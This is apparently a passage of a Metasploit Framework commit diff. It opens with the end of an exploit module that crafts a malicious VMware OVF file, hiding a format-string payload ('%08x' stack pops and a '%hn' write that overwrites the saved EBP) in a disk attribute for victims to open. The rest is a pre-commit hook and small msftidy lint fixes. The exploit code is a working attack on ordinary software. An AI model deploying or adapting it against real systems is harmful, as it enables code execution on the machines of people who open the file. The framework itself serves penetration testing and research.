# 65536 => 0x10000
# 27 => Error message prefix length
fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
fs << "%08x" * target['AddrPops'] # Reach saved EBP
fs << "%hn" # Overwrite LSW of saved EBP with 0x1000
ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<References>
<File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
</References>
<DiskSection>
<Info>Virtual disk information</Info>
<Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
</DiskSection>
<VirtualSystem ovf:id="Small VM">
<Info>A virtual machine</Info>
</VirtualSystem>
</Envelope>
EOF
ovf_file
end
def exploit
print_status("Creating '#{datastore['FILENAME']}'. This files should be opened with VMMWare OVF 2.1")
file_create(ovf)
end
end

54
tools/dev/pre-commit-hook.rb Executable file
View File

@ -0,0 +1,54 @@
#!/usr/bin/env ruby
# Check that modules actually pass msftidy checks first.
# To install this script, make this your pre-commit hook your local
# metasploit-framework clone. For example, if you have checked out
# the Metasploit Framework to:
#
# /home/mcfakepants/git/metasploit-framework
#
# then you will copy this script to:
#
# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit
#
# You must mark it executable (chmod +x), and do not name it
# pre-commit.rb (just pre-commit)
#
# If you want to keep up on changes with this hook, just:
#
# ln -sf <this file> <path to commit hook>
valid = true # Presume validity
files_to_check = []
results = %x[git diff --cached --name-only]
results.each_line do |fname|
fname.strip!
next unless File.exist?(fname) and File.file?(fname)
next unless fname =~ /modules.+\.rb/
files_to_check << fname
end
if files_to_check.empty?
puts "--- No Metasploit modules to check, committing. ---"
else
puts "--- Checking module syntax with tools/msftidy.rb ---"
files_to_check.each do |fname|
cmd = "ruby ./tools/msftidy.rb #{fname}"
msftidy_output= %x[ #{cmd} ]
puts "#{fname} - msftidy check passed" if msftidy_output.empty?
msftidy_output.each_line do |line|
valid = false
puts line
end
end
puts "-" * 52
end
unless valid
puts "msftidy.rb objected, aborting commit"
puts "To bypass this check use: git commit --no-verify"
puts "-" * 52
exit(1)
end

View File

@ -204,7 +204,7 @@ class Msftidy
end
if author_name =~ /^@.+$/
error("No Twitter handle, please. Try leaving it in a comment instead.")
error("No Twitter handles, please. Try leaving it in a comment instead.")
end
if not author_name.ascii_only?
@ -226,9 +226,7 @@ class Msftidy
puts "Checking syntax for #{f_rel}."
rubies ||= RVM.list_strings
res = %x{rvm all do ruby -c #{f_rel}}.split("\n").select {|msg| msg =~ /Syntax OK/}
rubies.size == res.size
error("Fails alternate Ruby version check") if rubies.size
error("Fails alternate Ruby version check") if rubies.size != res.size
end
def check_ranking
@ -281,6 +279,7 @@ class Msftidy
words.each do |word|
if %w{and or the for to in of as with a an on at}.include?(word)
next
elsif %w{pbot}.include?(word)
elsif word =~ /^[a-z]+$/
warn("Improper capitalization in module title: '#{word}'")
end